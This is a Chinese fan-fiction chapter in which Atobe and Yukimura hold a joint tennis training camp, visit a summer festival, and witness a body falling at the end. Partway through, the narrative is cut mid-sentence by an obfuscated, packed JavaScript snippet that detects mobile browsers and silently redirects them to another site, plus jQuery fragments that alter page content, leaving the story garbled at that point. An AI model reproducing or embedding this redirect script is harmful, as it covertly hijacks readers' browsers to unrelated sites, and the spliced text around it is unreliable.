“game迹部,6—4!”
同冰帝的短期合宿以两位部长分别与对方部员的七球赛拉开序幕,酷暑下连打七局,饶是迹部景吾也大汗淋漓,所以到最后时不禁加快了手上动作。
他对面的水谷连深吸一口气,紧了紧手中的球拍,然而下一秒,黄色小球就携万钧之力袭来,球拍脱手而出。水谷瞳孔骤缩,被推力带着后退半步,鞋底在地面擦出刺耳的声响,还没来得及做出反应,黄色小球就再次落地,咕噜噜滚了几转。
“比赛结束,迹部获胜!”充当裁判的向日岳人喊道。
“不愧是冰之帝王,百闻不如一见啊!”水谷捡回球拍,上前握手,由衷赞叹。
“你的潜力也不错。”迹部不吝啬称赞。
两人一同往场边走去,接过队友们递来的毛巾,另一边的比赛也已结束。冰帝正选自然比帝丹的强悍不少,但松本仗着年长一岁的优势,在冰帝二把手散漫应战的情况下,倒也没有落下败绩。
“怎么样?”坐在树荫下观赛的幸村没急着发表看法,而是先看向迹部。
“你们关东八强没问题。”松本是实力不俗的全国级选手,水谷和他们冰帝的正选不相上下,但其他正选就只是豪强队伍中的准正选水平了。
“我签运还不错。”
“是指碰到立海大吗?”相处了小半日,逐渐找回以往感觉,迹部也不再避讳什么。
“能碰上立海大,那证明我们可以走到四强。”幸村自信道。
迹部不置可否,幸村则转向其他人,扬声道:“大家先吃饭吧,午休后两点钟开始训练。”
网球场不远处就是酒店,位于一片度假村的尽头——网球场、酒店、乃至度假村的一半都姓迹部。虽说正值假日,大少爷也大手一挥清场了最顶上两层楼,供两校的正选们活动。
幸村吃的不多,很快回到自己的单间中,一模一样的训练单打印了十几份,然后按照每个选择选手的情况进行微调。他看比赛时内心就有了考量,因此动作很快,只是轮到了最后一人时笔尖悬在空中半晌,最终还是被放下。
幸村干脆直接给迹部打了个电话,后者听上去还在餐厅,围观一大群人玩闹。
“喂,幸村?”
“芥川慈郎,他离天衣无缝只差临门一脚了,你们是什么打算?”
“你的眼神一如既往精准。”迹部并不意外,拿着手机往边上走了几步,收音清晰起来,“我和他聊过了,无我的确是最适合他的道路,何况他还年轻着,多试试也没坏处。”
当年见识过世界后,他们这些国中生了解到阿修罗神道这些路径,甚至如种岛修二般自己开路,便不再专注于推崇无我。但对于芥川慈郎来说,无我的确是最优选择。
“好,我知道了。”
“他卡在这里很久了,你有办法?”
“明天练习赛,不要安排他上场。”
“嗯?”
幸村也没有卖关子:“你本来也没打算全正选上场吧,明天我和他打两球。”
“嗯?”迹部由疑惑转为惊讶,“你没问题吗?”
幸村安抚道:“放心,我有分寸。
迹部景吾想起两年前全国大赛期间,柳连二严格控制着幸村的训练,真田每天送人回家防止他加练。帝丹显然没有人能这么做,他就更没有立场了。
“那本大爷先替慈郎谢谢你了。”
下午的训练效果很不错,让冰帝几人回忆起当年和立海合宿的恐惧——勤奋岁月。帝丹众人也没好到哪去,好不容易适应了几个月幸村式训练单,关东开幕后就又增加了。
当然,其实远不如立海,幸村还在想着慢慢加量呢。
度假村这周在举办庙会,这也正是冰帝选择此处的原因。因此晚上没有安排训练,放众人去尽情放松,十一点前回酒店就行,部长们会查寝。
“慈郎怎么又和你的人混到一起去了?”酒店门口,迹部扫视一圈三五成群的队员们,有些疑惑。
“水谷的母亲是一位美食评论家。”幸村解释,又上下打量了一番冲洗后换上便服的大少爷,“你确定要拿墨镜吗?”
迹部下意识跟着他的目光抬头,天色已经暗了下来,一抹红霞映在西边。决定跳过这个话题:“和这套衣服成套的,顺手拿了。一起走吗?”
“嗯,我也有很久没有逛过庙会了。”
步出酒店前院,夏夜的烟火气便扑面而来。侧身让开几个追逐嬉闹的孩子,幸村便看中了第一个“猎物”。
“你确定这是关东煮?”迹部上前看了看,满脸一言难尽,摊位上写着新式关东煮,锅里的食材五花八门:法棍,馒头,面条,三文鱼,苹果,香蕉……
的确很创新……
幸村笑意盈盈:“你不好奇吗?”
“但我不打算亲自尝试。”迹部懂了,“我们回来路上再买吧,拿着不方便活动。”
“我觉得我们都不会忘的。”幸村往前走了两步,却发现迹部没动:“你在留恋什么吗?”
迹部一本正经胡说八道:“我在想摊主是不是姓乾。”
“也可能姓三津谷。”
“……你说得对。我其实是看见你学弟了,踢足球那个。”
“不奇怪,他有个青梅是铃木家的小姐。”
迹部了然,这片度假村的另一半就姓铃木,但是……
“你怎么知道?”
“道听途说。”
毕竟世界上没有绝对真实的情报,所以都能算作道听途说。
小插曲过去。没走两步又有一家关东煮,迹部再三观察过,确认正常后才咬下第一口。
“味道不错。”看见幸村回来,迹部把另外一杯正常版关东煮递给他,顺势接过章鱼烧,没有防备的咬了下去,然后骤然僵住,一动不动了。
幸村眼疾手快托住他手中摇摇欲坠的餐盒,又拿起不知何时放到桌上的饮料,将吸管怼到大少爷嘴边。
“即使舌头着火也要君临天下吗?迹部。”幸村看着仍旧坐得笔直的人。
迹部瞪:“你早有预谋吧!”
章鱼烧温度滚烫不说,还是特辣,那杯饮料里又几乎都是冰块,他的嘴已经快失去知觉了。
幸村一脸无
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233444|197630||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
辜:“我以为你会摸出来的。”
“来,你吃。”
“我忌辛辣。”
迹部被结结实实地噎了一下。
幸村补刀:“其实特辣只有那一个,我也没想到你直接就中招了,等凉一下再吃吧,浪费不可取。”
迹部把依旧滚烫的章鱼烧放下,继续吃自己亲手买的、安全的关东煮。解决完关东煮后,二人拿着尚未冷却的章鱼烧与尚未回温的饮料继续逛街。
期间碰到了挤在烤肉摊前的慈郎、日吉和水谷。水谷一面用看上去很了不起的手法烤肉,一面侃侃而谈,日吉听的云里雾里,但还是一边吃烧鸟一边接话,慈郎专心致志吃肉不时唔唔两声。
还看见不知为何在旧书刊摊位前聊上的忍足和松本,迹部扶额:“那家伙绝对只是去找言情小说的!”
“幸村君!”集市已经走到尽头,再往前就是通往神社的山路,人群在这里分流,两个帝丹的队员也正结伴路过,“啊,迹部君也在。你们也是去神社吗?听说这里的签文很准!”
“不了,我不太信这些,祝你们好运。”
“本大爷也是,人少的地方也更适合观看烟火。”
二人开始往回走,人流明显稀疏很多,这次终于看清了刚刚拥堵的射击摊位。
“嗯?”幸村扫过一眼,眼前一亮。
顺着他的目光望去,迹部看见奖品最顶层两个十几厘米高的人形小木雕:一个身披羽织正在拔刀,一个手持书卷低头阅览。
“你想要那个?这种摊位的子弹不重,不容易打倒。”
“两个人一起的话,应该可以。”
看着动作熟练姿势标准的幸村,疑惑在迹部心中一闪而过。
幸村很快就适应了手中的枪,又等了迹部两发时间,一个眼神,便默契地同时开枪。
两枚子弹同时击中拔刀木雕的肩膀,木雕晃了两下,又重新稳定。
“迹部,你再偏左一点。”
“好。”
这次幸村的子弹比迹部稍晚,恰好在木雕向后晃的一瞬间击中,木雕应声而倒。对另一个木雕时就更加熟练,一次成功。
老板笑呵呵地取出木雕,又好心道这是山上神社的产品,那边还有很多种,如果喜欢可以去看看。
其实子弹还有剩余,但两人没有让老板继续亏损的打算,道谢后就离开了。
再次路过那家新式关东煮,二人在锅前商量一番,精心挑拣了几种乍一看认不出来是什么的食材,打包带走。
估摸着同伴们都还没回来,把关东煮放下后,迹部和幸村就在酒店的院子里溜达了两圈。迹部稍微落后半步,垂眸深思。
“幸村。”第二次绕过酒店背墙,四下无人,迹部突然开口。
幸村回头疑惑道:“嗯?”
“我突然想到,你……”迹部的话语戛然而止,他瞳孔骤缩,紧紧盯着幸村身后的上空。
其实只是一瞬间的事,幸村都没来得及问他,一声沉重的闷响就在他身后响起。
转身,一个血肉模糊的人横在他背后几米远处,死的不能再死了。